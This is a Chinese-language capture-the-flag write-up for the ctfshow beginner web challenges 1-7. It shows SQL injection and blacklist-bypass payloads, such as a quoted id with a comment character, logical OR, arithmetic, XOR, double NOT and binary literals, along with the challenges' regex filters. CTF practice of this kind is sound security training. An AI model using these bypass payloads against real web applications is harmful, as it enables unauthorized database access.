ctfshow萌新 web1-7
ctfshow萌新
web1
1.手动注入。需要绕过函数inval,要求id不能大于999且id=1000,所以用'1000'字符代替数字1000
2.找到?id=" "处有回显
3.注释掉后面的语句,得到flag
最终payload:
?id='1000'%23?sql=select * from article where id = ‘1000’ order by id limit 1
web2-4
过滤规则:
web2
web3
web4
过滤规则比上一题多了一些,这三个题目都可以用逻辑或绕过
?id=999 || id=1000
其他方式
减号:?id=999- -1
除号:?id=2000/2)
乘号:?id=250*4
或运算符:?id=999 || id=1000
左移运算符:?id=500<<1,左移一位表示乘二
十六进制数:?id=0x3e8
web5-7
用到的绕过:
异或运算符:?id=328^672
非运算符:?id=~~1000
二进制:?id=0b1111101000
web5
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|/<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
逻辑或被ban了,这里用到逻辑非运算(非两次)
?id=~~1000
web6
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>
|\^(异或)|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
异或运算被ban,用上一题中的非运算依旧可以过
web7
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!
|\~(逻辑非)|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
非运算被ban了,用二进制可以绕过
?id=0b1111101000